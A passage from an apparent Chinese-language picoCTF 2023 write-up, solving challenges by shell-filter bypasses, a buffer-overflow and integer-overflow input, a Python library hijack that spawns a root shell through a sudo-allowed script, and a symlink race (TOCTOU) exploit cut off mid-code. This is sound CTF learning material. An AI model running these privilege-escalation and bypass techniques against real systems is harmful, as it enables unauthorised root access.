class="line">else</span><br><span class="line">        if [[ &quot;$1&quot; == &quot;add&quot; ]]</span><br><span class="line">        then</span><br><span class="line">          sum=$(( $2 + $3 ))</span><br><span class="line">          echo &quot;The Sum is: $sum&quot;</span><br><span class="line"></span><br><span class="line">        elif [[ &quot;$1&quot; == &quot;sub&quot; ]]</span><br><span class="line">        then</span><br><span class="line">          sub=$(( $2 - $3 ))</span><br><span class="line">          echo &quot;The Substract is: $sub&quot;</span><br><span class="line"></span><br><span class="line">        elif [[ &quot;$1&quot; == &quot;div&quot; ]]</span><br><span class="line">        then</span><br><span class="line">          div=$(( $2 / $3 ))</span><br><span class="line">          echo &quot;The quotient is: $div&quot;</span><br><span class="line"></span><br><span class="line">        elif [[ &quot;$1&quot; == &quot;mul&quot; ]]</span><br><span class="line">        then</span><br><span class="line">          mul=$(( $2 * $3 ))</span><br><span class="line">          echo &quot;The product is: $mul&quot;</span><br><span class="line"></span><br><span class="line">        else</span><br><span class="line">          echo &quot;Read the manual&quot;</span><br><span class="line"></span><br><span class="line">        fi</span><br><span class="line">fi</span><br></pre></td></tr></table></figure><p>原本以為是要做Command Injection，但找不到植入點，後來看到他的標籤寫了<code>man</code>，想說隨便打個<code>man</code>的指令，結果就得到flag了= =</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">$ man useless</span><br><span class="line"></span><br><span class="line">useless</span><br><span class="line">     useless, — This is a simple calculator script</span><br><span class="line"></span><br><span class="line">SYNOPSIS</span><br><span class="line">     useless, [add sub mul div] number1 number2</span><br><span class="line"></span><br><span class="line">DESCRIPTION</span><br><span class="line">     Use the useless, macro to make simple calulations like addition,subtraction, multiplication and division.</span><br><span class="line"></span><br><span class="line">Examples</span><br><span class="line">     ./useless add 1 2</span><br><span class="line">       This will add 1 and 2 and return 3</span><br><span class="line"></span><br><span class="line">     ./useless mul 2 3</span><br><span class="line">       This will return 6 as a product of 2 and 3</span><br><span class="line"></span><br><span class="line">     ./useless div 6 3</span><br><span class="line">       This will return 2 as a quotient of 6 and 3</span><br><span class="line"></span><br><span class="line">     ./useless sub 6 5</span><br><span class="line">       This will return 1 as a remainder of substraction of 5 from 6</span><br><span class="line"></span><br><span class="line">Authors</span><br><span class="line">     This script was designed and developed by Cylab Africa</span><br><span class="line"></span><br><span class="line">     picoCTF&#123;us3l3ss_ch4ll3ng3_3xpl0it3d_5562&#125;</span><br></pre></td></tr></table></figure><h2 id="Special"><a href="#Special" class="headerlink" title="Special"></a>Special</h2><div class="note danger flat"><p>AUTHOR: LT ‘SYREAL’ JONES</p><p>Description<br>Don’t power users get tired of making spelling mistakes in the shell? Not anymore! Enter Special, the Spell Checked Interface for Affecting Linux. Now, every word is properly spelled and capitalized… automatically and behind-the-scenes! Be the first to test Special in beta, and feel free to tell us all about how Special streamlines every development process that you face. When your co-workers see your amazing shell interface, just tell them: That’s Special (TM)<br>Start your instance to see connection details.<br>Additional details will be available after launching your challenge instance.<br><strong>300 Points</strong></p></div><p>這題是個看似正常的shell，但他會把我們打進去的指令做處理，除了把第一個字大寫之外，還會用其他的英文單字來取代指令，讓我們沒辦法執行正常的指令。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">$ ssh -p 50295 ctf-player@saturn.picoctf.net</span><br><span class="line">ctf-player@saturn.picoctf.net&#x27;s password:</span><br><span class="line">Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.15.0-1031-aws x86_64)</span><br><span class="line"></span><br><span class="line"> * Documentation:  https://help.ubuntu.com</span><br><span class="line"> * Management:     https://landscape.canonical.com</span><br><span class="line"> * Support:        https://ubuntu.com/advantage</span><br><span class="line"></span><br><span class="line">This system has been minimized by removing packages and content that are</span><br><span class="line">not required on a system that users do not log into.</span><br><span class="line"></span><br><span class="line">To restore this content, you can run the &#x27;unminimize&#x27; command.</span><br><span class="line">Last login: Thu Mar 30 07:54:44 2023 from 127.0.0.1</span><br><span class="line">Special$ ls</span><br><span class="line">Is</span><br><span class="line">sh: 1: Is: not found</span><br><span class="line">Special$ pwd</span><br><span class="line">Pod</span><br><span class="line">sh: 1: Pod: not found</span><br></pre></td></tr></table></figure><p>這個時候第一個想到的當然就是用前面用過的<code>/bin/sh</code>等shell來執行，但嘗試了各種shell都被擋下了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Special$ /bin/sh</span><br><span class="line">Why go back to an inferior shell?</span><br><span class="line">Special$ /bin/bash</span><br><span class="line">Why go back to an inferior shell?</span><br><span class="line">Special$ /bin/zsh</span><br><span class="line">Why go back to an inferior shell?</span><br></pre></td></tr></table></figure><p>這個時候就想到了用特殊字元來繞過這個限制，這次嘗試之後發現可行。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Special$ &quot;w&quot;h&quot;o&quot;a&quot;m&quot;i</span><br><span class="line">&quot;w&quot;h&quot;o&quot;a&quot;m&quot;i</span><br><span class="line">ctf-player</span><br></pre></td></tr></table></figure><p>那我們用特殊字元來繞過shell的限制就可以了，如下所示，我們成功得到shell的正常執行權限，用前面的方法來取得flag即可。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Special$ \/\b\i\n/////s\h</span><br><span class="line">\/\b\i\n/////s\h</span><br><span class="line">$ ls</span><br><span class="line">blargh</span><br><span class="line">$ cat /challenge/metadata.json</span><br><span class="line">&#123;&quot;flag&quot;: &quot;picoCTF&#123;5p311ch3ck_15_7h3_w0r57_6a2763f6&#125;&quot;, &quot;password&quot;: &quot;af86add3&quot;&#125;</span><br></pre></td></tr></table></figure><h2 id="Specialer"><a href="#Specialer" class="headerlink" title="Specialer"></a>Specialer</h2><div class="note danger flat"><p>AUTHOR: LT ‘SYREAL’ JONES, ET AL.</p><p>Description<br>Reception of Special has been cool to say the least. That’s why we made an exclusive version of Special, called Secure Comprehensive Interface for Affecting Linux Empirically Rad, or just ‘Specialer’. With Specialer, we really tried to remove the distractions from using a shell. Yes, we took out spell checker because of everybody’s complaining. But we think you will be excited about our new, reduced feature set for keeping you focused on what needs it the most. Please start an instance to test your very own copy of Specialer.<br>Additional details will be available after launching your challenge instance.<br><strong>400 Points</strong></p></div><p>這題跟上面那題十分類似，差別在於這次改成限制可以執行哪些指令了，在shell裡按兩次tab可以看有哪些指令可以執行：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">$ ssh -p 55013 ctf-player@saturn.picoctf.net</span><br><span class="line">ctf-player@saturn.picoctf.net&#x27;s password:</span><br><span class="line">Specialer$</span><br><span class="line">!          bind       compopt    elif       fc         if         printf     shift      true       while</span><br><span class="line">./         break      continue   else       fg         in         pushd      shopt      type       &#123;</span><br><span class="line">:          builtin    coproc     enable     fi         jobs       pwd        source     typeset    &#125;</span><br><span class="line">[          caller     declare    esac       for        kill       read       suspend    ulimit</span><br><span class="line">[[         case       dirs       eval       function   let        readarray  test       umask</span><br><span class="line">]]         cd         disown     exec       getopts    local      readonly   then       unalias</span><br><span class="line">alias      command    do         exit       hash       logout     return     time       unset</span><br><span class="line">bash       compgen    done       export     help       mapfile    select     times      until</span><br><span class="line">bg         complete   echo       false      history    popd       set        trap       wait</span><br></pre></td></tr></table></figure><p>第一個看到的就是<code>echo</code>，他有一個特殊的用法可以用來當作<code>cat</code>使用，用法是<code>echo $(&lt;filename)</code>，用這個方法就能讀取檔案了，而且用tab的方法可以觀察在<code>~</code>有三個可疑的資料夾，看起來flag就是在裡面，看看每個檔案的內容就能發現flag了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Specialer$ echo ./(tab)</span><br><span class="line">.hushlogin  .profile    abra/       ala/        sim/</span><br><span class="line">Specialer$ echo ./ala/(tab)</span><br><span class="line">kazam.txt  mode.txt</span><br><span class="line">Specialer$ echo $(&lt;./ala/mode.txt)</span><br><span class="line">Yummy! Ice cream!</span><br><span class="line">Specialer$ echo $(&lt;./ala/kazam.txt)</span><br><span class="line">return 0 picoCTF&#123;y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_38f5cc78&#125;</span><br></pre></td></tr></table></figure><h1 id="Binary-Exploitation"><a href="#Binary-Exploitation" class="headerlink" title="Binary Exploitation"></a>Binary Exploitation</h1><p>最後是PWN的題目了，這個類別原本以為自己解不出多少，結果沒想到最後解了5/7題，算是有大大的進步，希望以後也可以多多訓練自己的PWN能力:P最好是Reverse跟PWN一起練XD</p><h2 id="babygame01"><a href="#babygame01" class="headerlink" title="babygame01"></a>babygame01</h2><div class="note success flat"><p>AUTHOR: PALASH OSWAL</p><p>Description<br>Get the flag and reach the exit.<br>Welcome to BabyGame! Navigate around the map and see what you can find! The game is available to download here. There is no source available, so you’ll have to figure your way around the map. You can connect with it using nc saturn.picoctf.net 61841.<br><strong>100 Points</strong></p></div><p>歷年來picoCTF的Binary Exploitation第一題都是buffer overflow，今年也不例外，給了一個超級詭異的binary還不給source code，稍微逆向一下可以知道<code>l</code>指令可以改變自己的符號，<code>p</code>可以快速通關，而<code>wasd</code>則可以移動方向。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">$ nc saturn.picoctf.net 61841</span><br><span class="line"></span><br><span class="line">Player position: 4 4</span><br><span class="line">End tile position: 29 89</span><br><span class="line">Player has flag: 0</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">....@.....................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">..........................................................................................</span><br><span class="line">.........................................................................................X</span><br></pre></td></tr></table></figure><p>可以看到我們的flag數量為0，合理的猜想就是利用buffer overflow來改變我們flag的數量，這樣到終點時就可以拿到flag了。經過多次嘗試後，構造以下payload獲得flag：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ echo -e $(python3 -c &#x27;print(&quot;a&quot;*368 + &quot;p&quot;)&#x27;) | nc saturn.picoctf.net 61841</span><br><span class="line">...</span><br><span class="line">You win!</span><br><span class="line">flage</span><br><span class="line">picoCTF&#123;gamer_m0d3_enabled_0a880baf&#125;</span><br></pre></td></tr></table></figure><h2 id="two-sum"><a href="#two-sum" class="headerlink" title="two-sum"></a>two-sum</h2><div class="note success flat"><p>AUTHOR: MUBARAK MIKAIL</p><p>Description<br>Can you solve this?<br>What two positive numbers can make this possible: <code>n1 &gt; n1 + n2 OR n2 &gt; n1 + n2</code><br>Enter them here <code>nc saturn.picoctf.net 61849</code>. Source<br><strong>100 Points</strong></p></div><p>這題應該是這個類別裡最簡單的了，透過題目可以很明顯發現這題需要做的是integer overflow，在C語言裡int最大是2147483647，因此可以很輕易的構造我們的payload，輸入進去就可以得到flag了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ nc saturn.picoctf.net 61849</span><br><span class="line">n1 &gt; n1 + n2 OR n2 &gt; n1 + n2</span><br><span class="line">What two positive numbers can make this possible:</span><br><span class="line">2147483647 1</span><br><span class="line">You entered 2147483647 and 1</span><br><span class="line">You have an integer overflow</span><br><span class="line">YOUR FLAG IS: picoCTF&#123;Tw0_Sum_Integer_Bu773R_0v3rfl0w_fe14e9e9&#125;</span><br></pre></td></tr></table></figure><h2 id="hijacking"><a href="#hijacking" class="headerlink" title="hijacking"></a>hijacking</h2><div class="note danger flat"><p>AUTHOR: THEONESTE BYAGUTANGAZA</p><p>Description<br>Getting root access can allow you to read the flag. Luckily there is a python file that you might like to play with.<br>Through Social engineering, we’ve got the credentials to use on the server. SSH is running on the server.<br><strong>200 Points</strong></p></div><p>這題是privilege_escalation，常見在python library的濫用，我們可以連進去看看他給了些什麼。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">$ ssh picoctf@saturn.picoctf.net -p 61768</span><br><span class="line">picoctf@saturn.picoctf.net&#x27;s password:</span><br><span class="line">Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.0-1031-aws x86_64)</span><br><span class="line"></span><br><span class="line"> * Documentation:  https://help.ubuntu.com</span><br><span class="line"> * Management:     https://landscape.canonical.com</span><br><span class="line"> * Support:        https://ubuntu.com/advantage</span><br><span class="line"></span><br><span class="line">This system has been minimized by removing packages and content that are</span><br><span class="line">not required on a system that users do not log into.</span><br><span class="line"></span><br><span class="line">To restore this content, you can run the &#x27;unminimize&#x27; command.</span><br><span class="line">Last login: Thu Mar 30 08:40:58 2023 from 114.36.17.55</span><br><span class="line">picoctf@challenge:~$ ls -al</span><br><span class="line">total 16</span><br><span class="line">drwxr-xr-x 1 picoctf picoctf   20 Mar 30 08:40 .</span><br><span class="line">drwxr-xr-x 1 root    root      21 Mar 16 02:08 ..</span><br><span class="line">-rw-r--r-- 1 picoctf picoctf  220 Feb 25  2020 .bash_logout</span><br><span class="line">-rw-r--r-- 1 picoctf picoctf 3771 Feb 25  2020 .bashrc</span><br><span class="line">drwx------ 2 picoctf picoctf   34 Mar 30 08:40 .cache</span><br><span class="line">-rw-r--r-- 1 picoctf picoctf  807 Feb 25  2020 .profile</span><br><span class="line">-rw-r--r-- 1 root    root     375 Mar 16 01:30 .server.py</span><br><span class="line">picoctf@challenge:~$ cat .server.py</span><br><span class="line">import base64</span><br><span class="line">import os</span><br><span class="line">import socket</span><br><span class="line">ip = &#x27;picoctf.org&#x27;</span><br><span class="line">response = os.system(&quot;ping -c 1 &quot; + ip)</span><br><span class="line">#saving ping details to a variable</span><br><span class="line">host_info = socket.gethostbyaddr(ip)</span><br><span class="line">#getting IP from a domaine</span><br><span class="line">host_info_to_str = str(host_info[2])</span><br><span class="line">host_info = base64.b64encode(host_info_to_str.encode(&#x27;ascii&#x27;))</span><br><span class="line">print(&quot;Hello, this is a part of information gathering&quot;,&#x27;Host: &#x27;, host_info)</span><br></pre></td></tr></table></figure><p>有一個<code>.server.py</code>，有root權限，裡面引用了base64、os跟socket三個library，因此我們可以在家目錄構造<code>base64.py</code>，讓<code>.server.py</code>去引用我們所構造的惡意library並執行他，讓我們得到root權限。首先我們要構造<code>base64.py</code>，內容如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line">os.system(<span class="string">&#x27;/bin/sh&#x27;</span>)</span><br></pre></td></tr></table></figure><p>這個內容可以讓我們拿到shell，接著用下面的指令去執行<code>.server.py</code>就能拿到shell了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">$ sudo -l</span><br><span class="line">Matching Defaults entries for picoctf on challenge:</span><br><span class="line">    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</span><br><span class="line"></span><br><span class="line">User picoctf may run the following commands on challenge:</span><br><span class="line">    (ALL) /usr/bin/vi</span><br><span class="line">    (root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py</span><br><span class="line">picoctf@challenge:~$ sudo -u root /usr/bin/python3 /home/picoctf/.server.py</span><br><span class="line"># ls</span><br><span class="line">__pycache__  base64.py</span><br><span class="line"># cat /challenge/metadata.json</span><br><span class="line">&#123;&quot;flag&quot;: &quot;picoCTF&#123;pYth0nn_libraryH!j@CK!n9_6924176e&#125;&quot;, &quot;username&quot;: &quot;picoctf&quot;, &quot;password&quot;: &quot;rZSsB--vJK&quot;&#125;</span><br></pre></td></tr></table></figure><h2 id="tic-tac"><a href="#tic-tac" class="headerlink" title="tic-tac"></a>tic-tac</h2><div class="note danger flat"><p>AUTHOR: JUNIAS BONOU</p><p>Description<br>Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it.<br>Additional details will be available after launching your challenge instance.<br><strong>200 Points</strong></p></div><p>這題從標籤來看是toctou attack的題目，主要的內容是讓兩個檔案來搶連結到root權限的東西，這樣我們就有機會讀取到原本只有root可以讀取的檔案。先連進去看看有什麼東西。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line">$ ssh ctf-player@saturn.picoctf.net -p 63641</span><br><span class="line">ctf-player@saturn.picoctf.net&#x27;s password:</span><br><span class="line">Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.15.0-1031-aws x86_64)</span><br><span class="line"></span><br><span class="line"> * Documentation:  https://help.ubuntu.com</span><br><span class="line"> * Management:     https://landscape.canonical.com</span><br><span class="line"> * Support:        https://ubuntu.com/advantage</span><br><span class="line"></span><br><span class="line">This system has been minimized by removing packages and content that are</span><br><span class="line">not required on a system that users do not log into.</span><br><span class="line"></span><br><span class="line">To restore this content, you can run the &#x27;unminimize&#x27; command.</span><br><span class="line">Last login: Thu Mar 30 08:56:23 2023 from 127.0.0.1</span><br><span class="line">ctf-player@pico-chall$ ls -al</span><br><span class="line">total 32</span><br><span class="line">drwxr-xr-x 1 ctf-player ctf-player    20 Mar 30 08:56 .</span><br><span class="line">drwxr-xr-x 1 root       root          24 Mar 16 02:27 ..</span><br><span class="line">drwx------ 2 ctf-player ctf-player    34 Mar 30 08:56 .cache</span><br><span class="line">-rw-r--r-- 1 root       root          67 Mar 16 02:28 .profile</span><br><span class="line">-rw------- 1 root       root          32 Mar 16 02:28 flag.txt</span><br><span class="line">-rw-r--r-- 1 ctf-player ctf-player   912 Mar 16 01:30 src.cpp</span><br><span class="line">-rwsr-xr-x 1 root       root       19016 Mar 16 02:28 txtreader</span><br><span class="line">ctf-player@pico-chall$ cat src.cpp</span><br><span class="line">#include &lt;iostream&gt;</span><br><span class="line">#include &lt;fstream&gt;</span><br><span class="line">#include &lt;unistd.h&gt;</span><br><span class="line">#include &lt;sys/stat.h&gt;</span><br><span class="line"></span><br><span class="line">int main(int argc, char *argv[]) &#123;</span><br><span class="line">  if (argc != 2) &#123;</span><br><span class="line">    std::cerr &lt;&lt; &quot;Usage: &quot; &lt;&lt; argv[0] &lt;&lt; &quot; &lt;filename&gt;&quot; &lt;&lt; std::endl;</span><br><span class="line">    return 1;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  std::string filename = argv[1];</span><br><span class="line">  std::ifstream file(filename);</span><br><span class="line">  struct stat statbuf;</span><br><span class="line"></span><br><span class="line">  // Check the file&#x27;s status information.</span><br><span class="line">  if (stat(filename.c_str(), &amp;statbuf) == -1) &#123;</span><br><span class="line">    std::cerr &lt;&lt; &quot;Error: Could not retrieve file information&quot; &lt;&lt; std::endl;</span><br><span class="line">    return 1;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  // Check the file&#x27;s owner.</span><br><span class="line">  if (statbuf.st_uid != getuid()) &#123;</span><br><span class="line">    std::cerr &lt;&lt; &quot;Error: you don&#x27;t own this file&quot; &lt;&lt; std::endl;</span><br><span class="line">    return 1;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  // Read the contents of the file.</span><br><span class="line">  if (file.is_open()) &#123;</span><br><span class="line">    std::string line;</span><br><span class="line">    while (getline(file, line)) &#123;</span><br><span class="line">      std::cout &lt;&lt; line &lt;&lt; std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125; else &#123;</span><br><span class="line">    std::cerr &lt;&lt; &quot;Error: Could not open file&quot; &lt;&lt; std::endl;</span><br><span class="line">    return 1;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  return 0;</span><br><span class="line">&#125;</span><br><span class="line">ctf-player@pico-chall$ ./txtreader flag.txt</span><br><span class="line">Error: you don&#x27;t own this file</span><br></pre></td></tr></table></figure><p>裡面有一個<code>txtreader</code>，是個toctou attack常見的東西，要進行toctou，首先我們需要構造一個搶權限用的檔案。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ctf-player@pico-chall$ touch asd</span><br></pre></td></tr></table></figure><p>接著我們利用<code>ln</code>指令將<code>flag.txt</code>軟連結到另一個檔案上。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">ctf-player@pico-chall$ ln -s flag.txt flag</span><br><span class="line">ctf-player@pico-chall$ ls -alh</span><br><span class="line">total 56K</span><br><span class="line">drwxr-xr-x 1 ctf-player ctf-player  72 Mar 30 09:19 .</span><br><span class="line">drwxr-xr-x 1 root       root        24 Mar 16 02:27 ..</span><br><span class="line">drwx------ 2 ctf-player ctf-player  34 Mar 30 09:18 .cache</span><br><span class="line">drwxrwxr-x 3 ctf-player ctf-player  19 Mar 30 09:18 .local</span><br><span class="line">-rw-r--r-- 1 root       root        67 Mar 16 02:28 .profile</span><br><span class="line">lrwxrwxrwx 1 ctf-player ctf-player   8 Mar 30 09:19 flag -&gt; flag.txt</span><br><span class="line">-rw------- 1 root       root        32 Mar 16 02:28 flag.txt</span><br><span class="line">-rwxrwxr-x 1 ctf-player ctf-player 17K Mar 30 09:18 race</span><br><span class="line">-rw-rw-r-- 1 ctf-player ctf-player 295 Mar 30 09:18 race.c</span><br><span class="line">-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 01:30 src.cpp</span><br><span class="line">-rwsr-xr-x 1 root       root       19K Mar 16 02:28 txtreader</span><br><span class="line">ctf-player@pico-chall$ ./txtreader flag</span><br><span class="line">Error: you don&#x27;t own this file</span><br></pre></td></tr></table></figure><p>可以發現現在讀取<code>flag</code>已經等於讀取<code>flag.txt</code>了，但我們依然沒有權限。接著我參考了<a href="https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c">這裡</a>的攻擊碼，把他在server裡面編譯成<code>race</code>可執行檔。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> _GNU_SOURCE</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/syscall.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/fs.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span> &#123;</span><br><span class="line">  <span class="keyword">while</span> (<span class="number">1</span>) &#123;</span><br><span class="line">    syscall(SYS_renameat2, AT_FDCWD, argv[<span class="number">1</span>], AT_FDCWD, argv[<span class="number">2</span>], 